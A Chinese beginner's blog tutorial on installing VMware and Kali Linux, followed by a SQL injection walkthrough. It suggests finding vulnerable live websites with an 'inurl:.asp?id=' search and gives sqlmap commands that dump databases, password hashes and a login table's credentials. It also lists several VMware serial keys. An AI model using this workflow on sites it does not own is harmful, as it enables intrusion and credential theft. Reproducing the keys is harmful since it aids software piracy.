这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具,社会工程学中的IP物理位置定位、IP获取、收集查找,机器学习是如何运用到恶意代码攻击中的。这篇文章作者将带领大家认识Kali,事实上,Kali仍是安全专家手头的重要工具集。
Kali 是基于Debian的Linux发行版,其目的是为了设计一个实用的工具包,里面尽可能多的包含渗透和审计工具(600多个)。它最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成。目前,Kali Linux在渗透测试和白帽子方面是业界领先的Linux发行版,它把大多数做安全测试的开源工具都囊括在内,包括Nmap 、Wireshark 、John the Ripper、Sqlmap等。用户可通过硬盘、live CD或live USB运行Kali Linux。
Kali的优势包括永久开源免费、支持多种无线网卡、定制内核支持无限注入、支持手机\PAD\ARM平台、高度可定制、更新频繁涵盖最新内核和软件等。使用Kali的人员涉及渗透测试者、安全审计者、安全研究者、电子取证者、逆向工程师、黑客(白帽子、灰帽子、红帽子、黑帽子)等。提醒一句,由于Kali采用Root登录,会带来一定安全风险,它毕竟是攻击工具,而不是防御工具,学习安全的同学,还是很值得学习它的。
百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izeb
PS:这篇文章非常基础,作为小白的作者,也将继续深入学习网络安全和系统安全相关知识并分享相关实验。希望对初学者有帮助,大神请飘过,谢谢各位看官!
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度网盘:
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
参考文献:
《安全之路Web渗透技术及实战案例解析》陈小兵老师
《THE ART OF DECEPTION》 By:KEVIN D.MITNICK
在你开始使用 Kali Linux 之前必须知道的事情 - LCTT MjSeve大神
史上最详细的kali安装教程没有之一 - 简书大神Sn1per
百度百科 - Kali
最新超详细虚拟机VMware安装Kali Linux - 隐秀大神
迈出黑客第一步, 安装配置Kali虚拟机 - 木子昭大神
http://cati.nwupl.edu.cn/fkzx/
网易云课程 - Kali Linux入门教程 白帽学苑老师
https://study.163.com/course/courseLearn.htm?courseId=1004016002
Sqlmap的使用详解 - 谢公子大神
声明:本人坚决反对利用社会工程学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
1.首先需要下载VMware虚拟机,并对其进行安装。下载地址:https://www.vmware.com/cn.html
2.选择合适的版本进行下载,作者这里安装的版本为“VMware-workstation-full-12.5.2-4638234.ext”,并且上传至百度云分享给大家。
3.双击EXE文件,开始进行安装。
4.安装完成之后输入序列号激活。
5A02H-AU243-TZJ49-GTC7K-3C61N
VF5XA-FNDDJ-085GZ-4NXZ9-N20E6
UC5MR-8NE16-H81WY-R7QGV-QG2D8
ZG1WH-ATY96-H80QP-X7PEX-Y30V4
AA3E0-0VDE1-0893Z-KGZ59-QGAVF
5.运行VMware软件如下图所示,接下来需要进行第二部分的Kali配置。
1.去Kali官网Downloads页面下载64位Kali Linux的torrent文件,再通过迅雷下载。下载地址:https://www.kali.org/downloads/,作者百度云网盘已上传。
2.下载成功后,新建虚拟机,选择“自定义”设置。
3.导入下载好的Kali Linux镜像文件,选择操作系统为Linux。
4.输入虚拟机的名称和安装位置。
5.设置内存分配大小,建议不要超过提示的最大内存推荐。
6.接着点击下一步,包括。
7.选择磁盘容量大小,建议比分配容量大些,并设为。
8.创建完成之后,如下图所示。
1.开启虚拟机,进入安装界面,如下图所示,点击“开启此虚拟机”。
2.选择安装方式为“Graphical install”。
3.选择语言“中文简体”和地区“中国”,点击“继续”按钮安装。
4.自定义主机名,默认为“kali”,域名直接跳过即可。
5.设置用户密码,这是类似于Windows的开机密码,接着安装。
6.设置磁盘分区。
7.接着接续安装。
8.在询问是否要选择网络镜像时,如果你的网络很好可以选择是,这里我选择否。
下面这个GRUB安装至硬盘要选择“是”!
9.安装成功之后,等待系统重启即安装完成。
10.最终界面如下图所示。
Kali其他设置包括分辨率、中文输入、全屏显示等,请同学们自行百度学习。
1.信息收集
2.漏洞分析
3.Web程序
4.数据库评估软件
5.密码攻击
6.无线攻击
7.逆向工程
8.漏洞利用工具集
9.嗅探/欺骗
10.权限维护
11.数字取证
12.报告工具集
13.Social Engineering Tools
打开某个软件,如下图所示。
下面作者结合Sqlmap简单讲述一个Kali环境中的实战案例。
Web漏洞包括网站本身漏洞、软件漏洞、服务器漏洞、外部攻击等,其拿站的基本方法包括通用型、SQL注入、DDoS、XXS跨站、越权漏洞、旁站注入、CSRF跨站请求、上传漏洞、支付漏洞等。
Sqlmap 是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。
Sqlmap的基本流程如下:
作者本来想以“实验吧”的CTF题目作为测试地址(http://ctf5.shiyanbar.com/8/index.php?id=1),但最近它维修中,无法访问;但使用“inurl:.asp?id=”未能搜索到目标网站。希望读者后续尝试“实验吧”的那个例子,或者自行搭建本地网站环境进行SQL注入学习。
第一步:寻找目标网站,通过浏览器“inurl:.asp?id=”搜索,寻找存在SQL注入漏洞的目标,可以先尝试手工注入判断。
判断注入点的方法很多,比如show.asp?code=115’ 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。
(1) http://xxxxx/show.asp?code=115’ and 1=1 – (正常显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=1 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=1恒成立,注释(–)掉后面语句。
(2) http://xxxxx/show.asp?code=115’ and 1=2 – (错误显示)
对应的SQL语句:
select … from table where code=‘115’ and 1=2 – and xxxx;
单引号(’)匹配code='115,然后and连接,1=2恒错误,注释(–)掉后面语句。
但很多网站都会有防火墙,防止SQL注入,如下图所示。
第二步:打开Kali环境中的Sqlmap环境,如下图所示。(后续采用之前的文章进行讲解,也希望读者自己尝试下)
第三步:获取所有数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs
运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。
第四步:获取当前数据库。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db
运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。输出结果:akykd_new。
第五步:获取数据库当前用户。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user
运行结果如下图所示,获取当前数据库用户sa。
第六步:获取数据库所有用户和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords
运行结果如下图所示,获取数据库用户和密码。
第七步:获取数据库所有表。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables
运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。
通过人为猜解,知道登录表位usr。
第八步:获取数据库登录表所有字段。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns
运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。
是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。
第九步:获取数据库登录表用户名和密码。
sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。
如果字段内容太多,可以设置输出个数,如10个用户名和密码。
参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
正常的输出结果例如下图所示,再通过md5解密即可。
又忙了16个小时,发现自己网络安全方向的基础非常薄弱,有太多实践知识想学,太多学术论文想看,每天都在忙碌,过程非常艰辛,博士哪有这么好毕业。但是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。希望未来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深入点,多读文献,多找创新,加油。
天行健,君子以自强不息。
地势坤,君子以厚德载物。
最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。
(By:Eastmount 2019-0919 晚上11点 http://blog.csdn.net/eastmount/ )